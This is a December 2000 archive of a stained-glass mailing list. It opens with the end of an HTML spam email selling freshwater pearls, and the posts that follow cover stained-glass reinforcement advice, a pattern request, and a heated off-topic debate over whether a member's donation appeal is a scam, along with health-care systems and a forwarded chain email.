            <P><FONT face=3DHelvetica size=3D3>Take a moment to browse =
our Web Site=20
            at <A =
href=3D"http://www.fwpearl.com"><B>www.fwpearl.com</B></A>, the=20
            site <SPAN=20
            style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA">represent=20
            the best selling Semi-Precious Stone &amp;&nbsp; =
</SPAN></FONT><SPAN=20
            style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA"><FONT=20
            face=3DHelvetica size=3D3>Freshwater=20
            Pearl</FONT></SPAN></FONT></FONT><SPAN=20
            style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA"><FONT=20
            face=3DHelvetica size=3D3> </FONT></SPAN><FONT =
face=3DArial><FONT=20
            face=3DHelvetica size=3D3><SPAN=20
            style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA">available=20
            today, </SPAN>you will quickly see we are committed to =
enhance=20
            <I>Your Sales and Profits!</I></FONT></P>
            <P align=3Djustify class=3DHTMLBody=20
            style=3D"MARGIN-BOTTOM: -1px; MARGIN-TOP: -1px"><FONT =
face=3DHelvetica=20
            size=3D3><SPAN style=3D"mso-bidi-font-size: 13.5pt">As the =
market=20
            leader, </SPAN><SPAN=20
            style=3D"FONT-FAMILY: Arial; FONT-SIZE: 11pt; =
LAYOUT-GRID-MODE: line; mso-bidi-font-size: 10.0pt">when=20
            you buy our </SPAN></FONT></FONT><SPAN=20
            style=3D"FONT-FAMILY: Arial; FONT-SIZE: 11pt; =
LAYOUT-GRID-MODE: line; mso-bidi-font-size: 10.0pt"><FONT=20
            face=3DHelvetica size=3D3>Semi-Precious Stone or =
</FONT></SPAN><SPAN=20
            style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA"><FONT=20
            face=3DHelvetica size=3D3>Freshwater =
Pearl</FONT></SPAN><SPAN=20
            style=3D"FONT-FAMILY: Arial; FONT-SIZE: 11pt; =
LAYOUT-GRID-MODE: line; mso-bidi-font-size: 10.0pt"><FONT=20
            face=3DHelvetica size=3D3>, you don=92t just buy our =
products, you buy our=20
            expertise, our willingness to help, and our total commitment =
to your=20
            complete satisfaction. We have a great deal of experience in =
export=20
            and well equipped of all your requirements. =
</FONT></SPAN><FONT=20
            face=3DArial><FONT face=3DArial><FONT face=3DHelvetica =
size=3D3><SPAN=20
            style=3D"mso-bidi-font-size: 13.5pt">Our high quality =
products and=20
            good service have won the confidence of many Jewelry and =
Beads=20
            traders all over the world.<BR><BR>We hope to hear from you =
very=20
            soon, and we're going to do everything we possibly can to =
make sure=20
            you are 100% satisfied with your important=20
            purchase.</SPAN></FONT></P>
            <P align=3Djustify class=3DHTMLBody=20
            style=3D"MARGIN-BOTTOM: -1px; MARGIN-TOP: -1px"><FONT =
size=3D3><SPAN=20
            style=3D"mso-bidi-font-size: 13.5pt"><FONT =
face=3DHelvetica><BR=20
            style=3D"mso-special-character: =
line-break"></FONT></SPAN><FONT=20
            face=3DHelvetica>With Fine Regards.</FONT></FONT></P><FONT =
face=3DArial>
            <P style=3D"MARGIN-LEFT: 0px; MARGIN-RIGHT: 0px"><FONT =
face=3DHelvetica=20
            size=3D3><SPAN=20
            style=3D"mso-bidi-font-size: =
13.5pt"><I>Nelson</I></SPAN></FONT></P></FONT></FONT></FONT></FONT></FONT=
></TD></TR></TBODY></TABLE></TD>
    <TD bgColor=3D#ffcc00 height=3D473 width=3D146>
      <UL></UL>
      <UL><FONT size=3D2></UL></FONT>
      <P><SPAN style=3D"LEFT: 578px; POSITION: absolute; TOP: =
205px"><IMG border=3D0=20
      src=3D"http://www.jcm.com.hk/mission.gif"></SPAN><SPAN=20
      style=3D"BACKGROUND-COLOR: #ffcc00"><B><FONT =
size=3D6>&nbsp;</FONT><FONT=20
      color=3D#ffcc00 =
size=3D5>&nbsp;....</FONT></B></SPAN></P></TD></TR></TBODY></TABLE>
<TABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 height=3D36 =
width=3D606>
  <TBODY>
  <TR>
    <TD bgColor=3D#ffcc00 height=3D1 width=3D722>
      <DIV><FONT face=3DHelvetica size=3D1>&nbsp;</FONT><FONT =
face=3DHelvetica=20
      size=3D3><B><A href=3D"http://www.jcm.com.hk/remove.htm"><SPAN=20
      style=3D"mso-bidi-font-size: 10.0pt">Remove?</SPAN></A></B><SPAN=20
      style=3D"mso-bidi-font-size: 7.5pt"> </SPAN><SPAN=20
      style=3D"mso-bidi-font-size: 10.0pt">We really hope that you like =
our=20
      products and our e-mail to be welcome in your company. =
</SPAN><SPAN=20
      style=3D"mso-bidi-font-size: 7.5pt">&nbsp; However......., if it's =
not right=20
      for you, </SPAN><SPAN style=3D"mso-bidi-font-size: 10.0pt">please =
go to <A=20
      href=3D"http://www.jcm.com.hk/remove.htm"><SPAN=20
      style=3D"mso-field-code: 'HYPERLINK =
\0022http\:\/\/www\.geocities\.com\/hkjcm\/remove\.htm\0022'"><B>Remove</=
B></SPAN><SPAN=20
      style=3D"COLOR: windowtext; TEXT-DECORATION: none; =
mso-bidi-font-size: 7.5pt; text-underline: none">=20
      </SPAN></A><SPAN style=3D"mso-spacerun: yes">&nbsp;</SPAN>and add =
to your=20
      name, this will automatically block you from receiving any e-mail =
from=20
      us.</SPAN></FONT><SPAN style=3D"mso-bidi-font-size: 10.0pt"><FONT=20
      size=3D1><?xml:namespace prefix =3D o /><o:p>=20
  =
</FONT></SPAN></DIV></TD></TR></TBODY></TABLE></o:p></FONT></FONT></FONT>=
</BODY></HTML>

------=_NextPart_000_01DC_01C0606E.37F75900--

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Archives available at http://www.bungi.com/glass

From owner-glass Thu Dec  7 03:06:20 2000
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m143ycJ-0000jxa@daver.bungi.com>
	for rglass-42; Thu, 7 Dec 2000 02:49:35 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: northlights.co.uk!toby
From: "Toby" <toby@northlights.co.uk>
To: Bungi <glass@bungi.com>
Content-Type: text/plain; charset=US-ASCII
Subject:  NG:     Lee Boe
Date: Thu, 7 Dec 2000 10:32:25 -0000
Message-ID: <200012071044.eB7Aiol20087@mercury.nildram.co.uk>
Precedence: bulk

Dear All,

Thank you Nadine for your comments! Very succinct I thought! And 
so much like you! Thank you Kris also for comments on/off group!
Just for now, Lee is "house-sitting" for someone who is in hospital, 
but has asked me specifically NOT to divulge that address. The 
address of her Medical Practitioner is only a block away, so that 
address IS still valid.
She has already received letters from you and I will contact the 
people off-group (task still to do!!). Lee is still not hooked up on-line 
but is working on it.

My very best to you all!

Elisabeth 'n Toby in UK
----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
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For subscription changes, please mail to: glass-request@bungi.com
To send to the list,      please mail to: glass@bungi.com
Archives available at http://www.bungi.com/glass

From owner-glass Thu Dec  7 03:10:45 2000
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Received: by daver.bungi.com
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	id <m143yZR-0000SZa@daver.bungi.com>
	for rglass-42; Thu, 7 Dec 2000 02:46:37 -0800 (PST)
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X-Path: northlights.co.uk!toby
From: "Toby" <toby@northlights.co.uk>
To: S Kunneke <skunneke@legacyhotels.co.za>
Content-Type: text/plain; charset=US-ASCII
Subject: Re: Scuse the ignorance
Date: Thu, 7 Dec 2000 10:32:25 -0000
Message-ID: <200012071044.eB7Aikl20070@mercury.nildram.co.uk>
Precedence: bulk

Dear Sara (and All)

There is an excellent book by the British stained glass 
designer/maker Patrick Reytiens, which you should be able to get 
in South Africa, called "The Technique of Stained Glass", published 
by B.T. Batsford Ltd, London, ISBN 0 7134 2510 5, reprinted 1983. 
He is very mindful of English/American terminology and has an 
entire section devoted to re-bar/reinforcing, tie-bars/ saddle bars 
and the whole technique of re-inforcing larger panels.
Best of Luck!
Elisabeth 'n Toby in UK

Hi there, sorry about the ignorance of the question - I hope you'll bear =
with me.  Im based in South Africa and most things out here are either =
renamed or non existent (i.e. 99% of all things related to stained glass =
have to be imported and are quite expensive).

What is "rebaring"?  Im asking as I am about to embark on making a =
leaded window (1.445m x 0.455m - sorry I don't know the inch equivalent) =
and I was wondering about reinforcing it and how to go about it.  I've =
phoned about 3 - 4 stained glass places here and none of them are very =
keen to give me any information unless "I come in and see them about =
doing a course", and the place I originally did the course has closed.

Any info would be greatly appreciated.

Many thanks

Sarah
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http://www.netlink.co.uk/users/kris/northlights/index.htm 
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From owner-glass Thu Dec  7 05:11:54 2000
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X-Path: freegraphics.com!webmaster
From: "Claire Amundsen Schaeffer" <webmaster@freegraphics.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Pattern request
Date: Thu, 7 Dec 2000 07:43:40 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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Sarah,

I don't know of any free 3D dragon patterns, but you could try the
Pattern Search option at http://www.warner-criv.com . If all else
fails, I know that Monster Metals and Creative Castings (available at
many online glass suppliers) both have dragon castings.

Claire
GlassJumps.com
Cold, Warm, and Hot Glass
http://www.glassjumps.com/
Links to 150+ Glass Resources
----- Original Message -----
From: "S Kunneke" <skunneke@legacyhotels.co.za>
To: "'Stained Glass Mailing'" <glass@bungi.com>
Sent: Thursday, December 07, 2000 2:41 AM
Subject: Pattern request


> Hi all.
>
> Firstly thanks for all the info - I do appreciate it.  Secondly, I
have =
> had a request from my sister-in-law for a stained glass 3D dragon.
I =
> have searched all the pattern books in all the shops around here but
=
> very few have any 3D patterns.  Does anyone know where I might find
a =
> free pattern of one?
>
> Many thanks
>
> Sarah
> ----
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From owner-glass Thu Dec  7 06:06:43 2000
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X-Path: gdi.net!shodge
From: Skip Hodge <shodge@gdi.net>
To: Colleen Schick <thegrainery@unibase.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Lee Boe
Date: Thu, 07 Dec 2000 08:35:03 -0500
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Colleen,

Usually I keep my big yap shut  but your 10% to the church really got
me.

PLEASE STOP

It is obvious to me as well as everyone else who read your last post
that things are tight. After all feeding a husband and two kids (don't
forget about the dog or cat). Back to my point. If you really feel that
giving 10% of your hard earned money to the church is really helping
well your right. You help pay the Minister, Pastor, or whatever. You
help pay the electric bill, the insurance, water bill, telephone,
cleaning supplies, and a host of other things just to keep the building
in shape. Not to mention the discretionary fund ( thats the money that
the Priest, Rabbi or whatever doesn't have to account for it could be
anything from feeding a hungry person to buying a new car for thier
wife, you will never know) Then there are the special collections which
I am sure you also contribute to as well. You know the ones, "We want to
repaint the nursery so we will pass the plate again, Thank you"

Tell you what, if you want to really make a difference in someones life
you take that 10% and stick it in a jar each week. At the end of the
year take a look at what is there. Now you know that area not too far
from where you live where the bums hang out? Well you go to the store
and buy as many cans of tuna and and some bread maybe a few blankets, or
go to the thrift store and buy abunch of clothes and you give it to
them.
NO STRINGS. Just give it and walk away, you may actually save someones
life. Or take that money and keep on saving it for a couple of years and
when a friend of your gets in real trouble you will be able to help them
out without even feeling it financially. REMEMBER NO STRINGS.

Think about it


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From owner-glass Thu Dec  7 07:15:12 2000
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X-Path: juno.com!pkinnetz
From: Peggy L Kinnetz <pkinnetz@juno.com>
To: glass@bungi.com
Content-Type: text/plain
Subject: Re: ng; Lee Boe
Date: Thu, 7 Dec 2000 09:26:37 -0500
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Okay, I feel compelled to answer as a family and child therapist working
in community mental health.  I can speak for the conditions for KY, as
those are the political/economic conditions I work under, but from my
understanding, Fl is not too different. 

The conditions to take out a mental inquest warrant (MIW) are one of
three specifics--1. that you are suicidal or a danger to yourself, 2. or
that you are a danger to another person (seriously threatening bodily
harm or death) 3. or that you are so grossly out of touch with reality
that you cannot take care of yourself or that you are a danger to
yourself because of impaired judgement. Merely hearing voices is
insufficient. You must petition a judge to hold the person (i.e. take out
a MIW), and the holding period is no longer than 72 hr.    It is illegal
to hold against someone's will. The doctor may decide that the person is
still in danger at the end of the 72 hr. holding period and may determine
that a longer stay is medically critical for the person's safety or
safety of the public. 

The economic climate today tends to eliminate all but the most critical
or brief stays at a hospital. It used to be that a person could live out
his/her life in a hospital. Very few do today. The hospitals emptied out
their wards a long time ago, and now we have a lot of homeless souls
unable to care for themselves adequately. Nobody wants to pick up the
tab. Somebody has to pay the bills while in the hospital, and usually the
hospital is incompletely reimbursed for the expenses, even on Medicaid or
Medicare. 

But I do have sympathy for anyone in the hospital against their will
during the 72 hr. hold. It can be a very frightening place, especially in
a mental state of anxiety and uncertainty about what will happen to you
and your possesions. Another version of the Lee Boe story may be that
someone may have been trying their darnedst to keep Lee Boe from being
homeless.  Just a thought. My heart goes out to her, no matter what the
truth is. 

That being said, I do not even want to begin to comment further on Lee
Boe. We simply do not have enough information on her situation. Even my
information is not necessarily germaine to her situation. Everything is
just speculation, and each person has to decide for him/herself what to
do. 

Peggy K.   




On Wed, 06 Dec 2000 21:10:35 -0500 Dee Thompson <deethom@erols.com>
writes:
> Once you are in the hospital and unable to care for yourself, it's 
> not hard
> to end up in a mental hospital and not be able to get out.  Not 
> having a
> place to go is one big catch 22 in some areas, in others they throw 
> you out
> on the streets anyway.  I pray I never have a condition that lands 
> me in
> rehab or a nursing home and beg God and all the powers of the 
> universe
> never to allow me in a so called mental health facility...I've 
> worked in a
> few.. they are a horror.  It's not a difficult thing to see a 
> patient going
> through a serious surgery and being bounced around the system 
> looking for a
> safe harbor to land in to recuperate. Care equates with the money in 
> your
> insurance coffers...self employed, on assistance...good luck!
>
> Dee  

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From owner-glass Thu Dec  7 08:33:15 2000
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From: Colleen Schick <thegrainery@unibase.com>
To: Claire Amundsen Schaeffer <webmaster@freegraphics.com>,
Content-Type: text/plain; charset=us-ascii
Subject: In Canada
Date: Thu, 07 Dec 2000 10:26:29 -0600
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{This letter is directed to Claire, but maybe contains some information
that someone else could use to help out Lee Boe.}

Hi Claire,

I suppose things are a bit more secured in Canada... and we in the West
are totally "given-out". If you weren't aware, there is an agricultural
depression happining "NORTH" of you. You want to see pathetic... you want
to give... check out some websites on Western Canadian Newspapers... then
muster up the nerve to call me "stingy".

I am so amazed how sensitive you are... people who would rather give
money, carelessly and fleetingly, than to take care of the people they
share a roof with. It's like the family man who is a workaholic, then
volunteers for this and that, but doesn't take a moment to sit with his
kids to even read them a book. There's really no glory in being a marter-
it matters aren't taken care of at home. Why is that so hard to
understand.

And as for you being insulted about me telling you what to do with your
money, honey... I don't know you and the note wasn't directed to only you.
If you can't read... I said what "I'd do with my money". There are a lot
of "Old Folks" that still do business on a good word and handshake, and
loose everything. I don't think that's nice - and I don't see people like
you helping them get back what they got scammed out of!

I think for the safety of all, check with your local Ombudsman, or Better
Business Bureau to see if things are legit. Heck, even call the local
police. And if things are that bad in the States, why aren't people
getting politically involved... why doesn't someone, who knows something
about how the system "abuses" people, contact some Canadian Newspapers.
Shit, our country is known to be a peace keeper and helping the underdog
(when it comes to people other than our own, unfortunately).

We have a very, very excellent Radio Station Phone in Show called "John
Gormely Live" and the station is on the internet. The station id is 1300
CJME in Saskatoon Saskatchewan. He is an ex-lawyer for a political party
and is very well versed in human rights. Maybe Lee could get some help
from someone across the border. Really, there's nothing like a little
humiliation to get a government rolling.

CJME's phone number is (306)569-1300
<http://www.live-radio.net/canada.shtml>

Sympathy is one thing, but apathy is unforgivable.

Sincerely,
Colleen
--------------------------------------------------------------------
Claire Amundsen Schaeffer wrote:

> (Just for perspective -- I have not contributed to Lee Boe -- that's
> not been a conscious choice, but more a matter of being way behind on
> reading this list.)
>
> > Christmas brings "all sorts" out of the wood work, so don't set your
> selves up for disappointment when you've been told by the police that
> you've been had.<
>
> I'd rather give and risk "being had" then not give and allow suffering
> that I could have helped alleviate.  I have been very blessed in my
> life and I'd much rather share that with 10 people who don't "deserve"
> it (do I?) and 1 person who does then miss the 1 because the 10 pissed
> me off
>
> >if she is really institutionalized, she is being taken care of.
>
> Hogwash.  She may be, she may not be.  First, the Baker Act in Florida
> has accounted for a wide variety of people being institutionalized
> under more than questionable circumstances. Second, if you think *all*
> institutions in Florida (or anywhere else) offer quality (or even
> adequate) care, that I have to wonder what area of Social Services you
> have ensconced yourself in.
>
> > Use your hard earned money to take care of your families and loved
> ones, and drop a buck or two in the Salvation Army's bucket.<
>
> Sorry, nobody but me makes decisions as to where my money goes and I
> resent your condescending attempt to tell me where to put my bucks and
> how to take care of my family  more than I resent any scam artist that
> has ever taken me for a few bucks (NOT suggesting Lee B. is one, I
> don't know the situation well enough to comment).
>
> I do apologize to this list for being off-topic.
>
> Claire
> GlassJumps.com
> Cold, Warm, and Hot Glass
> http://www.glassjumps.com/
> Links to 150+ Glass Resources
>
> ----
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From owner-glass Thu Dec  7 09:04:26 2000
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From: Colleen Schick <thegrainery@unibase.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: One Last thing...
Date: Thu, 07 Dec 2000 10:36:26 -0600
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Okay, this is my last "devil's advocate" scenereo...

#1    If Lee is that broke     and...
#2    Being institutionalized is a poverish, living hell     then how
come...

#1   she has access to a computer (which is worth about $2000.00)
#2   she has access to the internet (which is worth about $50/month for
high-speed and
        ($30/month for regular service)

It doesn't add up? And if she is in a mental rehab-- would you want her
to have access to glass (the staff would never allow it because of the
danger... she may not use it as a weapon, but who says someone else
wouldn't? There are a lot of depressed people who would take any
opportunity to take their lives, right?)

AND FINALLY... Here in Canada (and I am very ashamed of this fact, that
our TOP SECURTIY PRISONS that house LIFE OFFENDERS, have access to
computers... get this... so they can get a university degree... that my
tax dollars are paying for.. I still don't get
it!!???!!!???!!???!!!???!?!?!?!?!?!

Colleen

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From owner-glass Thu Dec  7 09:11:47 2000
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From: Shirley <sparent@uniserve.com>
To: Glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Lee Boe
Date: Thu, 07 Dec 2000 09:10:28 -0800
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Being a Canadian I must reply to this. 
It is hard for us up here to imagine what some Americans go through when it
comes to health care as our system is different.  As much as it is in
shambles, we still have access to equal health care and for $66 a month
most all of our needs are looked after.  Twelve years ago my 6 year old
daughter was diagnosed with non Hodgkins lymphoma and for a year and half
underwent extensive treatment.  If we had been without coverage, we would
have lost everything including our life savings,meager as they were, our
house, our vehicles.  The travel expenses alone given we had to go 600
miles every 6 weeks by plane with only a days notice to book flights, the
chemo, the radiation, the hospital stays etc, etc.  In the end we have lost
nothing and most importantly, we have our daughter who is now a thriving 18
year old going to college.  
I work in the medical system and see many Americans as we are a border town
and are frequented by many looking for cheaper prescriptions drugs and many
also use our hospitals and doctors for their treatment.  I also hear many
stories of financial ruin due to illness.  In short, I have no problem
believing that Lee is in dire need of help.  Elizabeth, keep up the good
work and thank you for keeping us informed and for being such an incredible
advocate for Lee.  
Shirley

>To all of you...
>
>Christmas brings "all sorts" out of the wood work, so don't set your
selves up for
>disappointment when you've been told by the police that you've been had.
Having
>worked in the Social Services Area for a number of years, I can hopefully
put your
>consciences at ease when I say that she, if she is really
institutionalized, she
>is being taken care of.
>
>Use your hard earned money to take care of your families and loved ones,
and drop
>a buck or two in the Salvation Army's bucket.
>
>A typical scam, which this is, makes you feel compelled to help someone
who you've
>never met.. and this is a very good one, making it's way into a close
group and
>telling stories how they have formed close bonds to others "from our
group" (so
>they must be safe, right?) WRONG!!!
>
>Think this one over very carefully.
>
>Sincerely, and Merry Christmas All!
>
>Colleen
>-----------------------------------------------------------------------
>Cecily & Ralph Wood wrote:
>
>> I'm confused.  Elisabeth and Jenny seem to think this a genuine plea for
>> help.  Your message seems to imply this is a scam.  I'd like to know one
way
>> or the other.  I've never met the woman, but have certainly read her
postings.
>>
>> Glenna Rand wrote:
>>
>> > Hi everyone,
>> >
>> > Regarding Lee boe's msg:
>> > I really need the help of anyone who knows me from the last 2 years of my
>> > membership.  I broke up housekeeping with my (EX) friend, and have all my
>> > tools, torches, grinders, $12,000 dollars worth of art glass, all
stored in
>> > a storage facility. (Some good friends were able to load it up for me,
but
>> > are unable to help finacially.)  If everyone who knows me, as an
honest and
>> > sane person will send a postal money order made out to Lee M. Boe for
$5 US
>> > dollars or more if you can spare it, I will be able to save what is

>> > meaningful in my life, and get out of this looney bin (it is a real hell
>> > pit, all the horror stories you have heard about nursing homes are true.)
>> >
>> > Snip....
>> >
>> > Yes I will be sending him a note asking not to use this group for
>> > a this sort of stuff,.....sigh  :^(
>> >
>> > --
>> > Glenna Rand
>> > gjr@bungi.com
>> > ----
>> > For subscription changes, please mail to: glass-request@bungi.com
>> > To send to the list,      please mail to: glass@bungi.com
>> > Archives available at http://www.bungi.com/glass
>>
>> --
>> *********************************************************************
>> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
>> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
>> *********************************************************************
>>
>> ----
>> For subscription changes, please mail to: glass-request@bungi.com
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>> Archives available at http://www.bungi.com/glass
>
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> 


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From owner-glass Thu Dec  7 11:03:38 2000
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X-Path: together.net!jbuckner
From: Jennifer Buckner <jbuckner@together.net>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: OT: Cdn medical system
Date: Thu, 07 Dec 2000 13:45:00 -0500
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Hello,
I am an old bungi member, a Canadian now living in the US, who dropped out 
of the bungi list in '97, and returned only recently.  I fully intend to 
spend most of my time lurking, but Colleen's, Peggy's and Shirley's 
comments about the American and Cdn medical systems have prompted me to 
speak out.  Shirley said: "I work in the medical system and see many 
Americans as we are a border town
and are frequented by many looking for cheaper prescriptions drugs and many
also use our hospitals and doctors for their treatment."

I, too, worked in the Cdn. medical system, in Montreal and Calgary, for 
years, both before Medicare came in (in 1970) and after.  While it IS nice 
to know that one is covered, no matter what one's financial status is, all 
is not roses.  We see an increasing number of Canadians who are being sent 
down to American medical centers for chemotherapy because the Cdn. system 
simply hasn't the resources (read financial and physical) to treat these 
patients in Canada. As well, many people in need of major, and life-saving 
surgery are now heading for the US to get what they would have to wait 
months, and sometimes years for in Canada.  All this is taking place at the 
same time patients are being kept in hospitals for weeks on end while 
doctors hem & haw over test results, order more tests, and "observe" people 
endlessly, and ultimately discharge them with no diagnosis or treatment.

Another complication in one Canadian province, Quebec, is that the 
separatist-leaning government is making every effort to close as many 
English hospitals and cut down on as many English medical services as they 
can possibly get away with.  Imagine yourself needing urgent medical 
attention, or trying to understand the treatment you are undergoing, and 
not being able to communicate with the hospital personnel because you don't 
speak the language.  And the Canadian taxpayers are footing the bill for 
this kind of folly!  I'm a strong booster of things Canadian, but I'm not 
in favour of glamourizing a system that has some very serious flaws.

As for the American system, I believe Peggy K's comments summed up the 
situation.  I understand no-one can be held against their wishes for more 
than 72 hrs, and certainly, hospitals don't like (won't let) you to outstay 
your ($) welcome.  There's got to be a very convincing reason for them to 
keep some-one on a longer term basis.

Just my 2 cents worth.  I'll retire to lurkdom again.

Jennifer


Jennifer G. Buckner jbuckner@together.net

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From owner-glass Thu Dec  7 11:16:26 2000
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Subject: ng-Lee-whats important?-ENOUGH
Date: Thu, 7 Dec 2000 13:03:25 -0500
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I am a lurker.  these little flame wars sometimes make me laugh and =
sometimes they disgust me.   Some of you are going a little too far  and =
getting a little too touchy.
     E-mail, while great in some respects, is also sometimes difficult =
to communicate through in a coherent manner if you are not an =
"elequently versed person."
    I belong to the Amyloidosis Support Network listserv also,   where =
people I've gotten to know online  and have met at various times in the =
hospital,  are DYING EVERY DAY.
www.amyloidosis.org      What is important here?  Life is TOO DAMN short =
to be bickering  about  this type of thing.=20
Please let me forward  the following to you-
Something to remember this holiday season :-)
> << >Subject: Fwd: I've learned
> =20
>  >I've learned-
>         that we don't have to change friends
>         if we understand that friends change.
>  >I've learned-
>        that no matter how good a friend is,
>        they're going to hurt you every
>        once in a while and you must forgive
>        them for that.
>  >I've learned-
>        that true friendship continues to grow,
>        even over the longest distance.
>        Same goes for true love.
>  >I've learned-
>        that you can do something in an instant
>        that will give you heartache for life.
>  >I've learned-
>        that it's taking me a long time
>        to become the person I want to be.
>  >I've learned-
>        that you should always leave loved ones
>      with loving words. It may be the last
>       time you see them.
>  >I've learned-
>        that you can keep going
>        long after you can't.
>  >I've learned-
>        that we are responsible for what we do,
>  >I've learned-
>        that either you control your attitude
>        or it controls you.
>  >I've learned-
>        that regardless of how hot and
>        steamy a relationship is at first,
>        the passion fades and there had
>        better be something else to take
>        its place.
>  >I've learned-
>        that heroes are the people
>       who do what has to be done
>        when it needs to be done,
>        regardless of the consequences.
>  >I've learned-
>        that money is a lousy way of keeping score.
>  >I've learned-
>        that my best friend and I can do anything
>        or nothing and have the best time.
>  >I've learned-
>        that sometimes the people you expect
>        to kick you when you're down,
>        will be the ones to help you get back up.
>  >I've learned-
>        that sometimes when I'm angry
>        I have the right to be angry,
>        but that doesn't give me
>        the right to be cruel.
>  >I've learned-
>       that just because someone doesn't love
>        you the way you want them to doesn't
>        mean they don't love you with all they have.
>  >I've learned-
>        that maturity has more to do with
>        what types of experiences you've had
>        and what you've learned from them
>        and less to do with how many
>        birthdays you've celebrated.
>  >I've learned-
>        that it isn't always enough to be
>        forgiven by others. Sometimes you
>        have to learn to forgive yourself.
>  >I've learned-
>        that no matter how bad your heart is broken
>        the world doesn't stop for your grief.
>  >I've learned-
>        that our background and circumstances
>        may have influenced who we are,
>        but we are responsible for who we become.
>  >I've learned-
>        that just because two people argue,
>        it doesn't mean they don't love each other
>       And just because they don't argue,
>       it doesn't mean they do.
>  >I've learned-
>        that you shouldn't be so eager to find out a
>        secret. It could change your life forever.
>  >I've learned-
>        that two people can look at the exact
>        same thing and see something totally .
>        different.
>  >I've learned-
>       that your life can be changed in a matter of
>        hours by people who don't even know you.
>  >I've learned-
>        that even when you think you have no more
>        to give, when a friend cries out to you
>        you will find the strength to help.
>  >I've learned-
>        that credentials on the wall
>        do not make you a decent human being.
>  >I've learned-
>        that the people you care about most in life
>        are taken from you too soon.

> Sending all of my love to you and yours this Holiday Season...=20


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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3D"Bookman Old Style" size=3D2>I am a lurker.&nbsp; =
these little=20
flame wars sometimes make me laugh and sometimes they disgust =
me.&nbsp;&nbsp;=20
Some of you are going a little too far&nbsp; and getting a little too=20
touchy.</FONT></DIV>
<DIV><FONT face=3D"Bookman Old Style" size=3D2>&nbsp;&nbsp;&nbsp;  =
E-mail, while=20
great in some respects, is also sometimes difficult to communicate =
through in a=20
coherent manner if you are not an "elequently versed =
person."</FONT></DIV>
<DIV><FONT face=3D"Bookman Old Style" size=3D2>&nbsp;&nbsp;&nbsp; I =
belong to the=20
</FONT><FONT face=3D"Bookman Old Style" size=3D2>Amyloidosis Support =
Network=20
listserv also, &nbsp; where people I've gotten to know online&nbsp; and =
have met=20
at various times in the hospital,&nbsp; are DYING EVERY=20
DAY.<BR><EM>www.amyloidosis.org</EM>&nbsp;&nbsp;</FONT>&nbsp;<SPAN=20
id=3D__#Ath#SignaturePos__></SPAN>&nbsp;&nbsp; What is important =
here?&nbsp; Life=20
is TOO DAMN short to be&nbsp;bickering  about&nbsp; this type of thing. =
</DIV>
<DIV>Please let me forward&nbsp; the following to you-</DIV>
<DIV>Something to remember this holiday season :-)<BR>&gt; &lt;&lt; =
&gt;Subject:=20
Fwd: I've learned<BR>&gt;&nbsp; <BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that we =
don't=20
have to change =
friends<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
if we understand that friends change.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that no =
matter how=20
good a friend is,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
they're=20
going to hurt you =
every<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; once=20
in a while and you must=20
forgive<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; them for=20
that.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that true =
friendship=20
continues to grow,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
even over=20
the longest distance.<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Same=20
goes for true love.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that you can =
do=20
something in an =
instant<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that=20
will give you heartache for life.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that it's =
taking me a=20
long time<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to become =
